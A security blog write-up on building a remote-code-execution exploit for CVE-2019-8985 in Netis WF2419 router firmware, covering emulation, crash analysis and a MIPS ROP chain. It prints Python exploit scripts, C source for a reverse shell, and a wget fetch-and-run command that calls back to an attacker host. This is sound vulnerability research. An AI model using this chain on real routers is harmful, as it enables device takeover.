CVE–2019–8985 RCE

exploits Aug 06, 2020

I came across this entry on Mitre’s CVE disclosure site and for some reason it really drew my attention.

I think it was the seemingly simple nature of the exploit. Just an overflow in the authorization header. How hard can this be to exploit?

The CVE description was a little vague, as they usually are. So I clicked on the reference link hoping to find a more thorough explanation. I was unfortunately greeted with a 404 page not found.. But with a little digging I found the overview within the authors Github repositories.

The author, WhooAmii, presents a high level overview of the vulnerability through images and provides proof of concept code to exercise it. They described it as a denial of service because it resulted in crashing the server with the potential of code execution through a ROP gadget. The developers simply failed to check the length of the username and password before copying it to a buffer that it too small. The vulnerability itself it easy enough to exploit and I thought writing a ROP gadget would be as well.

This actually turned out to be a very challenging task in more than one way.

The Target

WhooAmii’s example and disclosure is based around the Netis WF2411 router, but the CVE listed other models, “possibly WF2411 through WF2880”, as vulnerable. I didn’t want to repeat their findings so I made my target the WF2419.

I downloaded the most recent version of the firmware (2.2.36123) from Netis’ website and binwalked it to unpack a squash filesystem. Per the Github overview the vulnerable binary was /bin/boa which I located and opened in IDA. The vulnerability, if present, should be a sprintf call in user_ok.

sprintf call in user_ok

The sprintf call in the WF2419 is very similar to the one shown in WhooAmii’s overview so we can move on to emulating the binary and validating the exploit.

First step is to discover the architecture. Running file against any binary in the unpacked firmware will accomplish this nicely. The output of file contains Elf 32-bit MSB executable, MIPS, which indicates this is big endian MIPS. A quick grep for boa - shows the command line used during normal execution.

QEMU emulation & boa execution

Emulating the binary using this method doesn’t take into account startup operations performed when the router boots so missing files (among other problems) are expected and can be easily corrected.

Creating necessary files

Missing /dev/null is a common occurrence that is fixed by running mknod with the appropriate arguments. I often reference this site about populating Linux from scratch when emulating binaries.

Fixing the “Can’t create PID file!” error requires reversing boa and searching for that string. Once found, it was a simple matter of working upwards in the disassembly and discovering what error condition we needed to avoid. The failure was an error being returned from fopen because the directory in which is it was trying to create the PID file did not exist. Simply creating the directory fixed the error and we were able to emulate the server.

PID file

Now that the server is running and accepting requests, let’s try exploiting the vulnerability with a simple wget request.

Based on the example provided by WhooAmii, sending 0x80 bytes in the authorization header should be more than enough to crash it. Here is the command I tried:

wget --http-user=a --http-password=$(python -c 'print "a"*0x80')

This should cause boa to crash. But it keeps printing out htauth.c:user_auth:181;get password error!. So let’s add a -g flag to QEMU and debug what is happening.

After a little poking around it seems we never get to the vulnerable sprintf because the get_password function is failing during an attempt to open /tmp/passwd.

fopen of /var/passwd

There happened to be a passwd file in /etc/ so I copied it to /tmp/passwd and reran the wget command. This time the server crashed so we know this model is vulnerable too.

boa core dump

Controlling It

boa is crashing because the return address of user_ok is overwritten with aaaa (0x61616161) instead of the address of the function that actually called it. In order to gain control we need to overwrite the return address with a valid address instead of aaaa.

Based off the position of the destination buffer (-0x40) and the location of the return address (0x14) on the stack, the overflow needs to contain 0x54 bytes of padding (0x40 + 0x14 = 0x54). That amount will overwrite directly to the saved return address but not over it.

The next four bytes that are written will overwrite the return address saved on the stack. In the process of overwriting the return address we also gain control of five saved registers, $s0 - $s4.

Stack layout

The 0x54 bytes of padding will consist of the user name, a colon, and the password because the vulnerable sprintf call is

sprintf(dest, "%s:%s", username, password);

So the wget call to control the return address will look like this:

wget --http-user=a --http-password=$(python -c 'print "a"*0x52+"bbbb"')

The command results in a crash and $ra is filled with “62626262” or “bbbb”.

Return to libC

We control the return address which means we can jump anywhere in the code and do what we want. What we want to do is call system with a string we control, a fairly easy task accomplished with one or two ROP gadgets. A typical ROP gadget for calling system would look like this:

addiu   $a0, $sp, 0x20
move    $t9, $s0
jalr    $t9

Remember, we gain control of five saved registers prior to overwriting the return address so they can contain any address or string we want. If this gadget existed we would jump to it by writing its address to $ra, writing the address of system in $s0 in the process, and the command we want to run on the stack at $sp + 0x20.

When user_ok completes it would jump to that gadget, populate $a0 with our command from the stack, set $t9 to the address of system and call it which is exactly what we want to happen.

Now we need to find a gadget that actually exists.

Loaded libraries are the target for finding gadgets because they are loaded at high memory addresses removing NULL bytes from addresses. For example, boa might be loaded at 0x00400000 with an ending address of 0x00420000. Any gadget we find within that range will have a high NULL byte and NULL bytes are a killer for a buffer overflow.

Alternatively, libC might be loaded at 0x2aef0000. High byte of 0x2a instead of 0x00. boa has two loaded libraries, libC and libgcc. Let’s start with looking for gadgets in libC.

LibC is the preferred option because it’s, typically, the largest loaded library giving us the best opportunity to find gadgets and it contains the definition of system. Unfortunately, based off the output of MIPS ROP gadget finder there appear to be no useful system gadgets in LibC.

System gadgets in LibC

Jumping to $v0 is not possible because we don’t control it and jumping to $a0 after setting $a0 to a string won’t really help. Using an epilogue function, the jr XXX($sp) calls, will result in an infinite loop of calling system and require more advanced setup to prevent it from crashing.

Moving on to libgcc. Luckily there is one gadget that looks usable.

libgcc system gadget

To use this gadget we need to place the address of system in $s3 and our command on the stack at $sp+0x18 (0x18 = 0x38 - 0x20). I’m going to wave my hands really hard here and skip over the nitty gritty parts. Here is the python code to accomplish this.

import socket
import struct
import base64

# cat /proc/$(pidof boa)/maps, choose the executable one.
# Requires full system emulation or real hardware with UART. 
libc = 0x2aaef000
gcc = 0x2ab72000

# Offsets of gcc gadget and system.
system = 0x2ac90
gadget = 0xabd0

rop = struct.pack('>L', gcc + gadget)
system_addr = struct.pack('>L', libc + system)

command = b'ABCD' * 50  # See how long our command can be.

overflow = b'a:%s' % (b'A' * (0x4C - 2)) + system_addr + b'AAAA' + rop + b'B' * 0x18 + command

packet = b'GET / HTTP/1.1\r\n'
packet += b'Host:\r\n'
packet += b'Authorization: Basic %s\r\n' % base64.b64encode(overflow)
packet += b'User-Agent: Real UserAgent\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 80))

Exploitation Result

The screenshot above shows the results of sending the exploit to a full system emulation of boa. The good news is it worked and our buffer ended up on the stack and as the first argument for system. The bad news is that it looks like we only have 0x10 (16) bytes to work with for our command. I know I sent a much longer command so boa must be limiting the input. Not great, but it could be worse.

What type of command can we run with 16 bytes? I’m usually looking for netcat or a telnetd server which would provide means of connecting a reverse shell. Unfortunately, there are no listening applications in this firmware that would allow us to connect to a shell. The only other option is to push our own application to the device and execute it. Our best option for that is to host an HTTP server and make a request using the local wget application, but that introduces are very big problem because of our limited command length.

The shortest command we can make with wget is wget -O /tmp/a; and the longest could potentially be wget -O /tmp/a http://111.222.333.444:55555; The shortest option is 32 bytes long and the longest could be 45 bytes long. We only have 16 bytes available to us. At minimum this is double the length we have to work so this gadget won’t work for our purpose.

A Better Chain

After a little debugging I discovered the server limits the authentication header to 0x80 (128) bytes. The overflow to $ra accounts for 0x58 bytes of the allowed length, leaving 0x28 bytes of space for our command.

We need to find a gadget that will get a pointer to the beginning of the 0x28 bytes available to us.

There are no useful stack finder gadgets in, but has quite a few useful ones. However, the lowest value that exists is $sp + 0x18. Based on the location of the stack pointer when this gadget is executed our command would be located at $sp + 0. $sp + 0x18 leaves us with 0x10 bytes for the command (0x28 - 0x18 = 0x10) which is no different that the last attempt.

If we want to make full use of the 0x28 bytes we need to move the stack pointer down in memory. Moving the stack pointer down is a common operation that functions perform to allocate space for local variables, but it is rare to find one that is controllable as a ROP gadget. Luckily there is actually one present in

addiu   $sp, -0x38
sw      $ra, 0x30($sp)
sw      $gp, 0x10($sp)
li      $v0, 2
move    $t9, $a0
sw      $v0, 0x18($sp)
jalr    $t9
addiu   $a0, $sp, 0x18

At first glance this gadget looks nearly perfect. It moves the stack down in memory and also points the $a0 register at our stack. Sadly, there are two problems with this gadget that mean we can’t use it to directly call system.

First, it moves that stack to a point where we are overwriting the saved registers limiting us to 8 bytes for the command, less that we had previously. Second, sw $v0, 0x18($sp) puts a NULL byte right at the beginning of our command which means we could only ever call system with NULL. But, it still moves our stack down which makes it useful.

This gadget jumps based on the value in $a0 which we don’t currently control so we need to find a gadget that provides that first. The simple gadget used to gain control of that register was found in

move    $t9, $s4
jalr    $t9
move    $a0, $s0

We still need a way to find our command on the stack ideally grabbing it from the 0x28 bytes we have right after $ra. Based on the stacks new location provided from the prior gadget we need an addiu $a0, $sp, 0x38 which doesn’t exist. The most common, and only, stack finder that exists in the two libraries is addiu $a0, $sp, 0x18. Looks like we need to nudge our stack in the other direction by 0x20 bytes. Stack movement in that direction is provided by jumping to a function epilogue like this one below from

lw      $ra, 0x1C($ra)
jr      $ra
addiu   $sp, 0x20

The stack pointer should be at a location where $sp + 0x18 points at the start of our command. The final gadget that will get our command from that location is also found in

addiu   $a0, $sp, 0x18
move    $a1, $s2
move    $s0, $zero
move    $t9, $s3
jalr    $t9
movz    $s0, $v0, $v1

The debugger proves that we can call system with a command that is up to 40 bytes long.

A picture overview of the gadgets is shown below with the current layout of the stack. Any changes made by that gadget are highlighted in yellow.


Pre-gadget indicates the register values as they are at the end of user_ok and prior to running any operation in the first gadget.



ROP 2 explanation


ROP 3 explanation


ROP 4 explanation

Below is the code to make it happen.

import socket
import struct
import base64

libc = 0x2aaef000
gcc = 0x2ab72000

system = 0x2ac90
rop1 = struct.pack('>L', gcc + 0x8B20)
rop2 = struct.pack('>L', libc + 0x20650)
rop3 = struct.pack('>L', gcc + 0x17A4)
rop4 = struct.pack('>L', gcc + 0xABD0)
system = struct.pack('>L', libc + 0x2ac90)

command = b'ABCD' * 50  # See how long our command can be.

s0 = rop3
s1 = b'BBBB'
s2 = b'CCCC'
s3 = system
s4 = rop2
stack_ra = rop4
ra = rop1

overflow = b'a:%s' % (b'A' * (0x3C - 2)) + stack_ra + s0 + s1 + s2 + s3 + s4 + ra + command

packet = b'GET / HTTP/1.1\r\n'
packet += b'Host:\r\n'
packet += b'Authorization: Basic %s\r\n' %  base64.b64encode(overflow)
packet += b'User-Agent: Real UserAgent\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('', 80))

Running something useful

We now have a working exploit that allows us to run any command under 40 bytes. But what types of commands do we want to run?

Earlier we discussed calling wget to push our own binary to the device. To refresh, the wget command will look like this:

wget -O/tmp/a http://XXX.XXX.XXX.XXX:YYY;

I tested different argument configurations to find the shortest version that worked because if your IP is the max 15 bytes long, the command will be right at at the 40 byte limit. The format shown above is the smallest I could accomplish.

Now we need to host a file for wget to request. What we want to host is a simple reverse TCP shell. Code for those are plentiful on the internet. I cobbled one together from multiple sources and added basic argument parsing.

int main(int argc, char **argv) {
    char *host = argv[1];
    int port = 0;
    int host_sock = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in host_addr;

    port = atoi(argv[2]);

    host_addr.sin_family = AF_INET;
    host_addr.sin_port = htons(port);
    host_addr.sin_addr.s_addr = inet_addr(host);

    connect(host_sock, (struct sockaddr *)&host_addr, sizeof(host_addr));

    dup2(host_sock, 0);
    dup2(host_sock, 1);
    dup2(host_sock, 2);

    execl("/bin/sh", "/bin/sh", NULL);

This code needs to be cross-compiled for MIPS, otherwise it will never run on the target. It was no small feat to find a cross-compiler that created working binaries for this target. But I finally hit pay dirt thanks to cobyism’s Github.

Once the reverse shell binary is on the target we just need to throw the exploit two more times. Once to make the reverse shell binary executable and once to actually run it. Luckily for us, the developers noticed that the server falls over when you look at it funny. Thankfully, there is a watchdog that restarts it immediately after it crashes. So throwing the exploit repeatedly is not a problem!

Command to make it executable:

chmod +x /tmp/a

Command to run it:


Don’t forget to start a listening netcat prior to throwing the exploit to catch the callback.

When running the reverse TCP binary, XXX.XXX.XXX.XXX is your IP address and YYYYY is the port you’re listening on. If everything goes as planned you’ll have a reverse shell. I’d like to say that’s the end of the story, but it’s not.

I eventually purchased the router, $16 on Amazon, to finish up testing.

The router Amazon sent had firmware version 2.2.41694 which is not available for download and the exploit didn’t work.


I needed the firmware. So I pulled it directly from the flash chip. The gadget offsets were a little different but after tweaking them the exploit worked as expected.

It’s when I tested an older version of the firmware that things went poorly for me. I downgraded to version 1.2.21610 and wget was not present. I, foolishly, assumed that no other versions provided it either so I needed to find a replacement to request the reverse shell binary.

The replacement I found was ftpget. ftpget expects a larger TCP conversation than wget which means I had to write a lot more code and learn about FTP. After that was finished I discovered most versions of the firmware have wget. But, I learned how to write a simple FTP server, so I’ve got that going for me, which is nice.

Be sure to check out my code on Github (linked below) if you want to see how to speak Busybox FTP.

Wrap Up

This is one of the more complicated ROP chains I have written. It was a great learning experience. Hopefully you learned something from this post as well.

There are a few WF2419 targets with a total of around 30,000 potential targets.

No patches currently in sight with the vulnerability being disclosed in February 2019.

The full source for the final exploit, POC code, reverse shell, and cross compiler is available on my Github.


About the Author

Evan Walls is a vulnerability analyst and developer at Tactical Network Solutions, focusing on embedded system exploitation. When he isn’t searching for new exploits, he teaches training courses developed by TNS, including IoT Firmware Exploitation. Prior to working at TNS he was a Windows developer for the Department of Defense. Now that he’s seen the glory and freedom that is Linux he vowed never to use another windows development machine again.

You can follow him on LinkedIn or GitHub.

Stay connected with our writings on firmware exploitation!

Join today and be the first to know when we release new content. Your email will never be shared.